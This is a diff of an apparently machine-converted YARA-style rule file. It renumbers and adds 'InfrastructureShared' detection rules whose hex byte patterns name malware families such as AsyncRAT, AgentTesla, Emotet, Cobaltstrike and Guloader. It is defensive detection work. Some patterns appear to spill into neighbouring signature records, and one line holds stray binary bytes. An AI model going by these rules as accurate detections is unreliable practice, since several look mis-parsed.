1)*21539+(#a_6e_1 & 1)*26479+(#a_6f_2 & 1)*11886+(#a_49_3 & 1)*27942) >=28 + +} +rule _InfrastructureShared_6921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -68609,7 +72244,7 @@ rule _InfrastructureShared_6574{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*16656+(#a_54_2 & 1)*21087) >=300 } -rule _InfrastructureShared_6575{ +rule _InfrastructureShared_6922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -68621,7 +72256,7 @@ rule _InfrastructureShared_6575{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29298+(#a_65_2 & 1)*24933) >=300 } -rule _InfrastructureShared_6576{ +rule _InfrastructureShared_6923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -68631,7 +72266,7 @@ rule _InfrastructureShared_6576{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_6577{ +rule _InfrastructureShared_6924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff96 00 ffffff96 00 03 00 21 " @@ -68643,7 +72278,7 @@ rule _InfrastructureShared_6577{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28755+(#a_7a_2 & 1)*27950) >=150 } -rule _InfrastructureShared_6578{ +rule _InfrastructureShared_6925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -68654,7 +72289,7 @@ rule _InfrastructureShared_6578{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24942) >=200 } -rule _InfrastructureShared_6579{ +rule _InfrastructureShared_6926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68664,7 +72299,7 @@ rule _InfrastructureShared_6579{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6580{ +rule _InfrastructureShared_6927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68674,7 +72309,7 @@ rule _InfrastructureShared_6580{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6581{ +rule _InfrastructureShared_6928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68684,7 +72319,7 @@ rule _InfrastructureShared_6581{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6582{ +rule _InfrastructureShared_6929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68694,7 +72329,7 @@ rule _InfrastructureShared_6582{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6583{ +rule _InfrastructureShared_6930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68704,7 +72339,7 @@ rule _InfrastructureShared_6583{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6584{ +rule _InfrastructureShared_6931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68714,7 +72349,7 @@ rule _InfrastructureShared_6584{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6585{ +rule _InfrastructureShared_6932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68724,7 +72359,7 @@ rule _InfrastructureShared_6585{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6586{ +rule _InfrastructureShared_6933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68734,7 +72369,7 @@ rule _InfrastructureShared_6586{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6587{ +rule _InfrastructureShared_6934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68744,7 +72379,7 @@ rule _InfrastructureShared_6587{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6588{ +rule _InfrastructureShared_6935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68754,7 +72389,7 @@ rule _InfrastructureShared_6588{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6589{ +rule _InfrastructureShared_6936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68764,7 +72399,7 @@ rule _InfrastructureShared_6589{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6590{ +rule _InfrastructureShared_6937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68774,7 +72409,7 @@ rule _InfrastructureShared_6590{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6591{ +rule _InfrastructureShared_6938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68784,7 +72419,7 @@ rule _InfrastructureShared_6591{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6592{ +rule _InfrastructureShared_6939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68794,7 +72429,7 @@ rule _InfrastructureShared_6592{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6593{ +rule _InfrastructureShared_6940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68804,7 +72439,7 @@ rule _InfrastructureShared_6593{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6594{ +rule _InfrastructureShared_6941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68814,7 +72449,7 @@ rule _InfrastructureShared_6594{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6595{ +rule _InfrastructureShared_6942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68824,7 +72459,7 @@ rule _InfrastructureShared_6595{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6596{ +rule _InfrastructureShared_6943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68834,7 +72469,7 @@ rule _InfrastructureShared_6596{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6597{ +rule _InfrastructureShared_6944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68844,7 +72479,7 @@ rule _InfrastructureShared_6597{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6598{ +rule _InfrastructureShared_6945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68854,7 +72489,7 @@ rule _InfrastructureShared_6598{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6599{ +rule _InfrastructureShared_6946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68864,7 +72499,7 @@ rule _InfrastructureShared_6599{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6600{ +rule _InfrastructureShared_6947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68874,7 +72509,7 @@ rule _InfrastructureShared_6600{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6601{ +rule _InfrastructureShared_6948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68884,7 +72519,7 @@ rule _InfrastructureShared_6601{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6602{ +rule _InfrastructureShared_6949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68894,7 +72529,7 @@ rule _InfrastructureShared_6602{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_6603{ +rule _InfrastructureShared_6950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68904,7 +72539,7 @@ rule _InfrastructureShared_6603{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6604{ +rule _InfrastructureShared_6951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68914,7 +72549,7 @@ rule _InfrastructureShared_6604{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6605{ +rule _InfrastructureShared_6952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68924,7 +72559,7 @@ rule _InfrastructureShared_6605{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_6606{ +rule _InfrastructureShared_6953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68934,7 +72569,7 @@ rule _InfrastructureShared_6606{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6607{ +rule _InfrastructureShared_6954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68944,7 +72579,7 @@ rule _InfrastructureShared_6607{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_6608{ +rule _InfrastructureShared_6955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68954,7 +72589,17 @@ rule _InfrastructureShared_6608{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6609{ +rule _InfrastructureShared_6956{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 42 55 21 4d 54 42 00 01 00 3f 03 01 fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 20 00 00 00 00 20 04 00 00 00 6f 90 01 01 00 00 0a 26 fe 0c 01 00 20 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_6957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68964,7 +72609,7 @@ rule _InfrastructureShared_6609{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6610{ +rule _InfrastructureShared_6958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -68974,7 +72619,7 @@ rule _InfrastructureShared_6610{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_6611{ +rule _InfrastructureShared_6959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -68984,7 +72629,7 @@ rule _InfrastructureShared_6611{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_6612{ +rule _InfrastructureShared_6960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -68995,7 +72640,7 @@ rule _InfrastructureShared_6612{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*4096) >=1 } -rule _InfrastructureShared_6613{ +rule _InfrastructureShared_6961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69006,7 +72651,7 @@ rule _InfrastructureShared_6613{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400) >=1 } -rule _InfrastructureShared_6614{ +rule _InfrastructureShared_6962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69017,7 +72662,7 @@ rule _InfrastructureShared_6614{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*-6775) >=1 } -rule _InfrastructureShared_6615{ +rule _InfrastructureShared_6963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69028,7 +72673,7 @@ rule _InfrastructureShared_6615{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*18004) >=1 } -rule _InfrastructureShared_6616{ +rule _InfrastructureShared_6964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69039,7 +72684,7 @@ rule _InfrastructureShared_6616{ ((#a_77_0 & 1)*19491+(#a_78_1 & 1)*14924) >=1 } -rule _InfrastructureShared_6617{ +rule _InfrastructureShared_6965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69050,7 +72695,7 @@ rule _InfrastructureShared_6617{ ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*-31484) >=1 } -rule _InfrastructureShared_6618{ +rule _InfrastructureShared_6966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -69061,7 +72706,7 @@ rule _InfrastructureShared_6618{ ((#a_5f_0 & 1)*25635+(#a_4d_1 & 1)*21076) >=1 } -rule _InfrastructureShared_6619{ +rule _InfrastructureShared_6967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -69072,7 +72717,7 @@ rule _InfrastructureShared_6619{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*27649) >=1 } -rule _InfrastructureShared_6620{ +rule _InfrastructureShared_6968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -69084,19 +72729,20 @@ rule _InfrastructureShared_6620{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25954+(#a_2d_2 & 1)*11631) >=1 } -rule _InfrastructureShared_6621{ +rule _InfrastructureShared_6969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_54_0 = {3a 57 69 7a 72 65 6d 2e 58 32 2e 44 6f 6d 61 69 6e 00 01 00 0b 80 01 63 68 65 69 6d 61 6b 68 2e 74 6e 01 00 12 80 01 68 74 61 67 64 6f 77 6e 6c 6f 61 64 2e 73 70 61 63 65 01 00 11 80 01 6d 79 62 63 6e 6d 6f 6e 65 74 69 7a 65 2e 63 6f 6d 01 00 0b 80 } //18467 $a_2d_1 = {2d 6f 2e 69 6e 66 6f 00 00 78 6d 00 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 21 6c 31 5f 73 6b 69 70 5f 30 38 00 01 00 07 01 c7 45 c0 a6 b2 85 4d 01 00 07 01 c7 45 b8 e6 6f ff ff 01 00 07 01 c7 45 c0 e6 6f ff ff 01 00 07 01 c7 45 c0 1d ca f5 ff 01 00 } //11777 - $a_45_2 = {1d ca f5 ff 00 00 78 6d 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 50 41 4d 21 4d 54 42 00 02 00 3f 03 03 d0 8d 04 b6 03 d0 2b 54 24 90 01 01 8b 44 24 90 01 01 03 54 24 90 01 01 03 54 24 90 01 01 03 54 24 90 01 01 0f b6 14 02 8b 44 24 90 01 01 30 54 28 90 01 01 3b 6c 24 90 02 04 0f 82 90 00 00 00 78 6d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 42 42 44 21 62 69 74 00 01 00 1e 03 a1 00 10 40 00 90 02 30 48 90 02 30 81 38 4d 5a 90 02 30 75 90 02 30 05 } //263 + $a_45_2 = {1d ca f5 ff 00 00 78 6d 00 00 02 00 02 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 50 41 4d 21 4d 54 42 00 02 00 3f 03 03 d0 8d 04 b6 03 d0 2b 54 24 90 01 01 8b 44 24 90 01 01 03 54 24 90 01 01 03 54 24 90 01 01 03 54 24 90 01 01 0f b6 14 02 8b 44 24 90 01 01 30 54 28 90 01 01 3b 6c 24 90 02 04 0f 82 90 00 00 00 78 6d 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 58 21 4d 54 42 00 02 00 3c 01 11 05 03 16 03 8e 69 6f 18 00 00 0a 11 05 6f 19 00 00 0a 11 04 6f 1a 00 00 0a 13 06 11 } //263 + $a_28_3 = {00 00 06 0c 11 06 16 08 16 11 06 8e 69 28 1b 00 00 0a 08 13 07 dd 2b 00 00 00 00 00 78 6d 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 56 42 49 6e 6a 65 63 74 2e 42 42 44 21 62 69 74 00 01 00 1e 03 a1 00 10 40 00 90 02 30 48 90 02 30 81 38 4d 5a 90 02 30 75 90 } //-29178 condition: - ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*11777+(#a_45_2 & 1)*263) >=1 + ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*11777+(#a_45_2 & 1)*263+(#a_28_3 & 1)*-29178) >=1 } -rule _InfrastructureShared_6622{ +rule _InfrastructureShared_6970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -69109,7 +72755,7 @@ rule _InfrastructureShared_6622{ ((#a_54_0 & 1)*18467+(#a_cc_2 & 1)*-14591+(#a_03_3 & 1)*400+(#a_01_4 & 1)*-28636) >=1 } -rule _InfrastructureShared_6623{ +rule _InfrastructureShared_6971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -69119,7 +72765,17 @@ rule _InfrastructureShared_6623{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6624{ +rule _InfrastructureShared_6972{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4e 43 58 21 4d 54 42 00 02 00 3c 01 11 05 03 16 03 8e 69 6f 18 00 00 0a 11 05 6f 19 00 00 0a 11 04 6f 1a 00 00 0a 13 06 11 06 8e 69 28 a9 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_6973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69130,7 +72786,7 @@ rule _InfrastructureShared_6624{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*16705) >=2 } -rule _InfrastructureShared_6625{ +rule _InfrastructureShared_6974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69141,7 +72797,7 @@ rule _InfrastructureShared_6625{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11890) >=2 } -rule _InfrastructureShared_6626{ +rule _InfrastructureShared_6975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69152,7 +72808,7 @@ rule _InfrastructureShared_6626{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30243) >=2 } -rule _InfrastructureShared_6627{ +rule _InfrastructureShared_6976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69163,7 +72819,7 @@ rule _InfrastructureShared_6627{ ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*5492) >=2 } -rule _InfrastructureShared_6628{ +rule _InfrastructureShared_6977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69173,7 +72829,7 @@ rule _InfrastructureShared_6628{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6629{ +rule _InfrastructureShared_6978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69183,18 +72839,29 @@ rule _InfrastructureShared_6629{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_6630{ +rule _InfrastructureShared_6979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 47 65 6e 64 6f 77 73 45 78 63 6c 75 73 69 6f 6e 00 01 00 0b 80 01 73 6a 74 75 2e 65 64 75 2e 63 6e 01 00 38 80 01 53 68 61 6e 67 68 61 69 20 4a 69 61 6f 20 54 6f 6e 67 20 55 6e 69 76 65 72 73 69 74 79 20 4e 65 74 77 6f 72 6b 20 49 6e 66 6f 72 6d } //18467 - $a_6f_1 = {20 43 65 6e 74 65 72 00 00 78 6d 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 57 50 21 4d 54 42 00 01 00 1e 03 8b c6 8d 4a 90 01 01 33 d2 f7 f1 8a 82 90 01 04 88 87 90 01 04 47 83 ff 90 01 01 7c 90 00 01 00 18 03 8b c1 83 e0 90 01 01 8a 80 } //29793 + $a_6f_1 = {20 43 65 6e 74 65 72 00 00 78 6d 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 48 30 31 21 4d 54 42 00 01 00 24 81 01 73 76 61 6d 70 65 6a 61 67 74 65 72 73 20 6c 75 70 70 65 72 6e 65 73 20 68 79 70 65 72 61 6b 74 75 65 6c 74 01 00 17 81 01 62 6f 6c 69 67 73 69 74 } //29793 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29793) >=2 } -rule _InfrastructureShared_6631{ +rule _InfrastructureShared_6980{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 48 30 31 21 4d 54 42 00 01 00 24 81 01 73 76 61 6d 70 65 6a 61 67 74 65 72 73 20 6c 75 70 70 65 72 6e 65 73 20 68 79 70 65 72 61 6b 74 75 65 6c 74 01 00 17 81 01 62 6f 6c 69 67 73 69 74 75 61 74 } //18467 + $a_73_1 = {6c 61 72 6c 69 6b 65 00 00 78 6d 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 57 50 21 4d 54 42 00 01 00 1e 03 8b c6 8d 4a 90 01 01 33 d2 f7 f1 8a 82 90 01 04 88 87 90 01 04 47 83 ff 90 01 01 7c 90 00 01 00 18 03 8b c1 83 e0 90 01 01 8a 80 90 01 04 30 04 } //28521 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28521) >=2 + +} +rule _InfrastructureShared_6981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69206,7 +72873,7 @@ A;M�r� 257 ((#a_46_0 & 1)*21283+(#a_80_1 & 1)*257) >=2 } -rule _InfrastructureShared_6632{ +rule _InfrastructureShared_6982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69217,7 +72884,7 @@ rule _InfrastructureShared_6632{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*384) >=2 } -rule _InfrastructureShared_6633{ +rule _InfrastructureShared_6983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -69228,31 +72895,42 @@ rule _InfrastructureShared_6633{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_6634{ +rule _InfrastructureShared_6984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_54_0 = {3a 50 79 49 6e 73 74 61 6c 6c 65 72 46 69 6c 65 00 01 00 0a 80 01 5f 4d 45 49 50 41 53 53 32 00 01 00 17 80 01 63 61 6e 6e 6f 74 20 6f 70 65 6e 20 70 79 69 6e 73 74 61 6c 6c 65 72 01 00 1e 80 01 50 59 49 4e 53 54 41 4c 4c 45 52 5f 53 54 52 49 43 54 } //18467 $a_50_1 = {43 4b 5f 4d 4f 44 45 00 00 78 6d 00 00 02 00 02 00 03 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0d 01 53 53 45 6e 67 69 6e 65 2e 64 6c 6c 00 01 00 18 01 43 72 65 61 74 65 53 53 45 6e 67 } //21855 - $a_49_2 = {74 65 72 66 61 63 65 00 01 00 19 01 52 65 6c 65 61 73 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 74 75 78 4e 65 74 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 10 01 8b 45 08 35 dd 79 19 } //28265 + $a_49_2 = {74 65 72 66 61 63 65 00 01 00 19 01 52 65 6c 65 61 73 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 00 00 78 6d 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4c 4d 21 4d 54 42 00 02 00 20 01 32 c1 8b 15 4c 7d 4c 00 a2 26 70 4c 00 0c 30 c0 e8 } //28265 condition: ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*21855+(#a_49_2 & 1)*28265) >=2 } -rule _InfrastructureShared_6635{ +rule _InfrastructureShared_6985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0d 01 53 53 45 6e 67 69 6e 65 2e 64 6c 6c 00 01 00 18 01 43 72 65 61 74 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 01 00 19 01 52 65 6c 65 61 73 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c } //25635 - $a_32_1 = {3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 74 75 78 4e 65 74 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 10 01 8b 45 08 35 dd 79 19 ae 33 c9 8b 55 08 89 02 89 01 00 10 01 74 36 8b 7f 08 83 ff 00 74 2e 0f b7 1f 8b 7f 04 01 00 10 01 74 70 81 78 05 8d 54 24 04 75 1b 81 78 } //14918 - $a_00_2 = {00 78 6d 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 4d 69 63 72 6f 73 6f 66 74 2f 54 72 6f 6a 61 6e 5f 57 69 6e 33 32 5f 50 6c 61 62 69 74 00 01 00 13 03 4b d3 91 49 a1 80 91 42 83 b6 33 28 36 6b 90 90 97 90 00 01 00 0c 01 47 65 74 49 6e 73 74 61 6e 63 65 57 01 00 12 01 8b d0 83 e2 1f 8a 14 0a 30 14 30 40 3b 44 24 04 72 ee 00 00 78 6d 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 53 6f 66 74 77 61 72 65 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 50 6f 6b 61 76 61 6d 70 6f 21 55 72 6c 50 61 72 61 6d 73 00 01 00 0e 01 65 76 65 6e 74 5f 65 76 65 6e 74 5f 69 64 01 00 0c 01 75 74 6d 5f 61 64 64 69 74 69 } //1032 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0d 01 53 53 45 6e 67 69 6e 65 2e 64 6c 6c 00 01 00 18 01 43 72 65 61 74 65 53 53 45 6e 67 69 6e 65 49 6e 74 65 72 66 61 63 65 00 01 00 19 